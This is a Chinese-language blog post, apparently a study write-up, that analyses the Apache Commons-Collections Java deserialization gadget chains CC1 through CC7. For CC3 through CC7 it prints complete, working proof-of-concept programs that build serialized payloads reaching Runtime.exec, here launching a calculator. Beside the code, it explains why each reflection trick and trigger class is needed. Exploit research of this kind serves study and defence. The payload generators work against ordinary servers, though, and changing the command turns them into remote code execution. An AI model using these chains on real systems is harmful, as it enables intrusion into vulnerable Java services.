Commons-Collections 1-7 利用链分析

0x00 前言

前面分析了CommonsCollections 1,2 这几天正好放假把剩下的看看完好了 ,其实cc1 和 cc2 看明白之后看后面的应该很快了

由于后面很多条都是前面的组合,所以建议先把 cc(p牛那条),cc1 和 cc2 先看明白之后看后面的会流畅很多

文章篇幅较长,希望能帮助到师傅们,同时如有错误还望师傅们斧正

0x01 CommonsCollections

这条是p牛在知识星球中提到的那条

利用版本

CommonsCollections 3.1 - 3.2.1

限制

JDK版本:1.7 (8u71之后已修复不可利用)

分析

文章链接:https://mp.weixin.qq.com/s?__biz=Mzg3OTU3MzI4Mg==&mid=2247483769&idx=1&sn=48eba9031c5fcc2f10d6f830fdd28eeb&chksm=cf032134f874a822ac197cbe3d91d745caa1f6e0cc7d74d1c188147468f6faf00e5a89f297a0&token=1815809254&lang=zh_CN#rd

0x02 CommonsCollections1

利用版本

CommonsCollections 3.1 - 3.2.1

限制

JDK版本:1.7 (8u71之后已修复不可利用)

分析

文章链接:https://mp.weixin.qq.com/s?__biz=Mzg3OTU3MzI4Mg==&mid=2247483788&idx=1&sn=4af047b7c2b9e0ab36e4e19999788153&chksm=cf0321c1f874a8d74f952501708500b755f63c1600e91e7048910a0ec3be8afb85d12b1da3a4&token=1815809254&lang=zh_CN#rd

0x03 CommonsCollections2

利用版本

CommonsCollections 4.0

限制

JDK版本:暂无限制

需要有 javasist 依赖

分析

文章链接:https://mp.weixin.qq.com/s?__biz=Mzg3OTU3MzI4Mg==&mid=2247483897&idx=1&sn=b8d6b00abc2c8be1abafd30814f9f9d6&chksm=cf0321b4f874a8a2a6e1983a4f8023f25e41ba9779d10188581cd9218f7a18ec74b298f7cc94&token=1815809254&lang=zh_CN#rd

0x04 CommonsCollections3

利用版本

CommonsCollections 3.1 - 3.2.1

限制

JDK版本:1.7 (8u71之后已修复不可利用)

Poc

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;


public class cc3 {

    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"open  /System/Applications/Calculator.app\");";
        cc.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "EvilCat" + System.nanoTime();
        cc.setName(randomClassName);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); //设置父类为AbstractTranslet,避免报错
        byte[] classBytes = cc.toBytecode();
        byte[][] targetByteCodes = new byte[][]{classBytes};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setFieldValue(templates, "_bytecodes", targetByteCodes);
        setFieldValue(templates, "_name", "name");
        setFieldValue(templates, "_class", null);

        ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
        });

        HashMap innermap = new HashMap();
        LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);


        Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
        handler_constructor.setAccessible(true);
        InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map); 
        Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler); 


        Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
        AnnotationInvocationHandler_Constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map);

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc3"));
            outputStream.writeObject(handler);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc3"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }

    }
    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }

    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        }
        catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }
}

分析

从上面的 Poc 中不难看出 cc3 其实就是 cc1 和 cc2 的结合(Poc 上半部分为 cc2 下半部分为 cc1),利用 templates 加载字节码进行触发,但是有些细节上还是有些不一样

在 cc3 中使用的是 InstantiateTransformer 而不是之前的 InvokerTransformer,同时传入的类变为了 TrAXFilter.class

image-20210404105348546

我们先去看一下 TrAXFilter 这个类,发现在构造函数传入的参数为 Templates 类,同时在构造函数内部会调用 templates.newTransformer() ,newTransformer 应该都很熟悉了,调用该函数就会触发 Templates 加载恶意字节码从而代码执行

image-20210404100041882

接下来我们看一下 InstantiateTransformer ,发现在该类的 transform 方法中会获取传入类的构造函数,然后调用构造函数进行实例化

image-20210404105738022
image-20210404100006235

这样通过结合 javasist 动态生成的恶意类,我们的上班部分就完成了

ps:由于上半部分和 cc2 中大致相同,可以去看上文 cc2 中的文章链接

image-20210404142213106

下半部部分就是我们需要找到一个类中的某个方法会调用 transform,利用了 LazyMap 中的 get方法 (下半部分和 cc1 中相似,具体可以看 cc1 的文章 这里不重复分析了)

image-20210404142257257
image-20210404142522952

0x05 CommonsCollections4

利用版本

CommonsCollections 4.0

限制

JDK版本:暂无限制

需要 javasist 依赖

Poc

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.*;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class cc4 {
    public static void main(String[] args) throws Exception {

        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"open  /System/Applications/Calculator.app\");";
        // 创建 static 代码块,并插入代码
        cc.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "EvilCat" + System.nanoTime();
        cc.setName(randomClassName);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); //设置父类为AbstractTranslet,避免报错
        // 写入.class 文件
        byte[] classBytes = cc.toBytecode();
        byte[][] targetByteCodes = new byte[][]{classBytes};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setFieldValue(templates, "_bytecodes", targetByteCodes);
        // 进入 defineTransletClasses() 方法需要的条件
        setFieldValue(templates, "_name", "name");
        setFieldValue(templates, "_class", null);

        /**
         * TrAXFilter 构造函数能直接触发 所以不用利用 invoke 那个
         */
        ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
        });

        TransformingComparator comparator = new TransformingComparator(chain);
        PriorityQueue queue = new PriorityQueue(2,comparator);

        Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
        size.setAccessible(true);
        size.set(queue,2);

        Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
        comparator_field.setAccessible(true);
        comparator_field.set(queue,comparator);

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc4"));
            outputStream.writeObject(queue);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc4"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }
    }

    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }

    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        }
        catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }
}

分析

cc4 其实就是 cc2 和 cc3 的结合,但是其实仔细看了看其实有的细节还是有细微的区别

在 cc4 中并没有用 cc2 中的 InvokerTransformer 而是用了 cc3 中的 InstantiateTransformer,链构造好了后面只要找到能调用 transform 的地方就行了

image-20210404162440379

这里利用 TransformingComparator#compare 来触发我们的 ChainedTransformer

image-20210404162655816
image-20210404162801598

具体的在 cc2 中分析过 故这里不再重复赘述

这里重点来说说和 cc2 和 cc4 中后半部分的差异

左边是 cc2 右边是 cc4 ,为什么这里 cc2 一定要有红框处的代码而 cc4 不需要呢

image-20210404163328918

因为在 cc2 中利用的是 InvokerTransformer#transform 反射调用 newTransformer 方法,下面的代码将我们的恶意 templates 类进行传入(这里一定要放第一个,具体往下看)

Object[] queue_array = new Object[]{templates,1};

image-20210404163856423

上面传入的 templates 会作为 obj1 参数进行传入,这里的 obj1 类似 method.invoke(Object) 中的 Object

image-20210404164055873

如果我们删去之后看看 compare 这里是怎么样的,我们将传入的 templates 改为1

image-20210404164450744

自然 obj1 也变为了 1 ,没有了 Templates 类自然无法触发了

image-20210404164515847

那么为什么 cc4 中可以呢 ?因为我们是利用 TrAXFilter 构造函数中的红框部分进行触发的

image-20210404164616334

我们看到 compare 部分,发现此时传入的为 null

image-20210404164717838

但是下一步就会进入到 TrAXFilter 的构造函数 从而触发

image-20210404164755856

0x06 CommonsCollections5

利用版本

CommonsCollections 3.1 - 3.2.1

限制

JDK版本:暂无

Poc

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;

import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;

public class cc5 {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, new Object[]{"open  /System/Applications/Calculator.app"})});
        HashMap innermap = new HashMap();
        LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
        TiedMapEntry tiedmap = new TiedMapEntry(map,123);
        BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(poc,tiedmap);

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc5"));
            outputStream.writeObject(poc);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc5"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }
    }
}

分析

前半段还是 cc1 的部分所以这里我们也不再赘述了,我们直接来分析后半段,后半段就是为了通过其他类中的方法来调用上半部分 chain 中的 transform 方法从而触发命令执行

首先还是老样子利用 LazyMap#decorate

image-20210404175934172

LazyMap#get 中会调用 transform 的方法

这样我们可以通过 map.get 来进行触发,但是利用范围不够大我们需要找其他类中的方法会调用 map.get 的

image-20210404180051031

找到一个可以 TiedMapEntry#getValue ,那么我们来看一下 map 是否可控

image-20210404180253902

发现通过构造函数可设置 this.map

image-20210404180403495

那么接下来我们就需要去找调用了 getValue 的方法 ,刚刚好 TiedMapEntry#toString 会进行调用

这样我们可以通过 toString() 来触发从而执行命令,但是这样还不够最好 readObject 的时候就会触发

image-20210404180530134

继续寻找类,要求是要掉入传入参数的 toString 方法 ,发现在 BadAttributeValueExpException#readObject 方法中好像有希望

会调用get函数获取 val 的值然后赋给 valObj ,然后在符合 else if 的情况下就会调用 toString

image-20210404180911122

val 可以通过反射修改 ,同时 System.getSecurityManager() 返回值也默认为 null ,这样我们就可以进入 else if 从而触发代码了

image-20210404181506252
BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc,tiedmap);

但是我们可以发现这里的构造函数可以直接传参,并且直接调用 toString,那么为什么我们不能直接传入而要使用反射呢?

image-20210404180951261
image-20210404181914223

如果我们直接在构造函数直接传入的话,那么我们在生成 payload 的时候就会 触发我们的 RCE

image-20210404204447310

这样在反序列化时 val 已经是 UNIXProcess 了,就不是我们预期的类了,自然不会进入 else if 判断 ,从而不会在服务端触发 RCE 了

image-20210404205021889

说的简单点就是,通过构造函数传入会在我们本地进行一次 RCE ,之后 val 值就会改变就会导致服务端在反序列化时无法触发 RCE

0x07 CommonsCollections6

利用版本

CommonsCollections 3.1 - 3.2.1

限制

JDK版本:暂无限制

Poc

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
import java.util.Set;

public class cc6 {

    public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, new Object[]{"open  /System/Applications/Calculator.app"})});

        HashMap innermap = new HashMap();
        LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);

        TiedMapEntry tiedmap = new TiedMapEntry(map,123);

        HashSet hashset = new HashSet(1);
        hashset.add("foo");

        Field field = Class.forName("java.util.HashSet").getDeclaredField("map");
        field.setAccessible(true);
        HashMap hashset_map = (HashMap) field.get(hashset);

        Field table = Class.forName("java.util.HashMap").getDeclaredField("table");
        table.setAccessible(true);
        Object[] array = (Object[])table.get(hashset_map);

        Object node = array[0];
        if(node == null){
            node = array[1];
        }

        Field key = node.getClass().getDeclaredField("key");
        key.setAccessible(true);
        key.set(node,tiedmap);

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc6"));
            outputStream.writeObject(hashset);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc6"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }
    }
}

分析

同样的 Poc 的前半部分都是相同的可以看上文,我们重点来分析后半部分,其实链很简单,但是在实现过程中有点绕

image-20210404232531789

在 cc6 中同样使用了 TiedMapEntry ,在 cc5 中说到 TiedMapEntry#getValue 会调用 map.get() 同时 map 可控,所以只要调用了 getValue 我们就可以进一步利用,cc5 中用的是 toString,在 cc6 中用的是 hashCode

image-20210404232747258

现在我们通过调用 hashCode 就可以触发,但是同样的这样利用范围不够大,我们希望的是反序列化直接进行触发,在 cc6 中利用了 HashSet 和 HashMap,我们先来看 HashMap ,在上文也有提到过 HashMap#put 会对我们传入的 key 取对应的 hash 值

image-20210404233030219

跟进发现会调用 key 的 hashCode 方法,那么如果我们 key能可控就可以进行触发

image-20210404233125278

所以现在我们需要找到符合如下条件的点

  1. 调用了 HashMap#put
  2. 传入的key可控

在 cc6 中用到了 HashSet,在 HashSet#readObject 中会对我们的输入流直接进行反序列化,我们对应去看 writeObject 查看是否可控

image-20210404233447062

在 writeObject 方法中,如果我们能够控制 map 中的 key,那么我们就能控制 s

image-20210404233647672

既然 s 可控了,则这里的 e 也可控了,那么就符合了我们的条件,最终服务端触发我们的RCE

image-20210404233808236

接下来我们来分析一下下部分的代码,因为当初在学习过程中发现有点晦涩

第一个红框处主要是利用反射获取我们的 HashSet 的 map 属性,因为我们要先获取到 map 才能对 map 的 key 进行修改

第二个红框处则是修改我们 HashMap 中的 key 值为 hashset

在这里利用反射获取了 HashMap 中的 table 属性,table其实就是hashmap的存储底层,将 封装在了 Node 对象中,在获取到了 table 中的 key 之后,利用反射修改其为 hashset

image-20210404234032624

0x08 CommonsCollections7

利用版本

CommonsCollections 3.1 - 3.2.1

限制

JDK版本:暂无限制

Poc

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.*;

public class cc7 {

    public static void main(String[] args) throws Exception {
        Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec",
                        new Class[]{String.class}, new Object[]{"open  /System/Applications/Calculator.app"})
        };

        Map innerMap1 = new HashMap();
        Map innerMap2 = new HashMap();

        Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
        lazyMap1.put("yy", 1);

        Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
        lazyMap2.put("zZ", 1);

        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1, 1);
        hashtable.put(lazyMap2, 2);

        Field field =transformerChain.getClass().getDeclaredField("iTransformers");
        field.setAccessible(true);
        field.set(transformerChain,transformers);

        lazyMap2.remove("yy");

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc7"));
            outputStream.writeObject(hashtable);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc7"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }

    }
}

分析

前半部分还是一样因为不再赘述,在 cc7 的后半段中直接利用 AbstractMap#equals 来触发 LazyMap#get

首先在 Hashtable#readObject 中的 reconstitutionPut,key 和 value 是我们输入流的反序列化,暂时先不管我们先跟进该函数

image-20210405001814338

在该方法中调用了 AbstractMap#equals

image-20210405001321743

跟进 AbstractMap#equals 方法,发现在红框处的 m 其实就是我们之前传入的 key,所以 m 如果可控的话,我们就可以触发LazyMap#get 从而 RCE

image-20210405001426748

回到 Hashtable#readObject 中,既然 key 是通过我们的输入流反序列化而来,那么我们就去跟进一下Hashtable#writeObject

image-20210405001731784

来到我们的 writeObject 函数,红框中的数值其实就是我们通过 put 添加进去的

image-20210405001950888

接下来我们看一下 Poc 中后半部分是如何实现的

按照上面的思路我们只需要把 lazymap put到我们的 hashtable 中就可以了,那为什么 Poc 后半部分要做那么多看似多余的操作呢?

image-20210405103513656

我们一个个来分析

1.为什么这里 hashtable 要 put 两次

第一次调用 put 的时候会把 key 和 value 存入 tab 中(这里的 tab 就是 reconstitutionPut 函数传入的 table),在第一次 put 的时候由于 tab 的内容为 null 导致不会进入 for 循环,所以自然就不会执行 equals ,在第二个红框处会先将我们的值存入 tab

image-20210405130340091

由于第一次 put 将数值存入了 tab ,所以第二次 put 时就会进入 for 循环,来到我们的触发点

ps:其实第二次的 put 就是为了进入这里的 for 循环

image-20210405105949111

2.为什么 Poc 中要反射来对我们的 ChainedTransformer 进行赋值

image-20210405102650916

在以前的 Poc 中我们都是直接将 transformers 作为参数进行传入的,为什么这里不行

image-20210405102805802

如果我们用上面的代码尝试生成的话,可以发现在 Hashtable#put 中也会调用到 AbstractMap#equals 从而触发 LazyMap#get 导致我们在生成 payload 的时候就本地执行了一次 RCE ,不过在这里并不会影响后面反序列化的触发,相当于这样的话一共会触发两次 一次在客户端一次在服务端,但是为了减少干扰我们还是利用反射最后进行赋值这样我们本地在生成 payload 的时候就不会触发 RCE 了

image-20210405103104688

3.为什么 put 的值一定要 yy 和 zZ

同样的还是 reconstitutionPut 函数里的问题,前面说到我们会 put 两次,那么自然 index 这里计算也会进行两次,那么如果第一次和第二次计算出来的 hash 值不同,那么 index 就会不同,就会导致在第二次中 tab 中会找不到值,从而 e 为 null,自然不会进入 for 循环,就不会触发 RCE

image-20210405131822926

所以我们需要控制两次 put 进的 hashCode 值为相同,在 Poc 中传入的是 yy 和 zZ,那么为什么这里 yy 和 zZ 可以呢?这其实算是一个小bug?

在 java 中这两者的 hashCode 是相同的

image-20210405132155248

那么看到这里有可能又会想到为什么这里不能传入相同的两个值呢?

如果传入了相同的值,则 Hashtable#readObject 中的 elements 便会为 1

image-20210405132553438

elements 为 1 那么自然循环只会进行一次,reconstitutionPut 也就只会被调用一次,前面说到过我们需要第二次调用 reconstitutionPut 函数才会触发,所以这就是为什么我们传入的值不能相同的原因

image-20210405132651900

4.为什么最后要 remove ,而且为什么这里 remove("yy")

首先来说一下为什么最后要 remove ,因为在 AbstractMap#equals 这里的 size() 等于 1,而我们不remove的话 m.size() 就为2 这样的话就不等于来,直接返回 false,导致无法进入到后面

image-20210405113246011

那么为什么要 remove("yy"),这里我们需要从 writeObject 中进行查看,在生成 payload 时,当我们利用 put 放入的时候会调用 equals,从而也会触发一次 AbstractMap#equals

image-20210405144141789

跟进查看,继续跟进到我们的 LazyMap#get

image-20210405144236346

发现我们在生成 payload 的过程中,调用 this.factory.transform 的时候 ,由于我们是反射进行赋值的,所以这里只有一个空的 Transformer数组,同时传入的 key 为 yy,所以这里只会返回 yy,也就是这里的 value 是 yy (此处感谢 Mrkaixin 师傅的解惑)

image-20210405144535482

看到这里大家应该就知道了,相当于在我们生成 payload 会多出来一个 yy,然后我们需要 remove 掉这个 yy,不然的话就会进入上面说的 AbstractMap#equals 中的 if 判断那段,从而导致无法进入到我们的出发点

image-20210405144914180

0x09 总结

至此 cc 1-7 就全部分析完了,看完之后也学到了很多,其实 cc 并没有外面说的那么复杂难懂,不过需要耐心的调试

0x10 参考链接

https://paper.seebug.org/1242 (ps:非常感谢这篇文章,但是文章中有的小地方有错误希望师傅们看的时候注意)

点赞

发表评论

电子邮件地址不会被公开。必填项已用 * 标注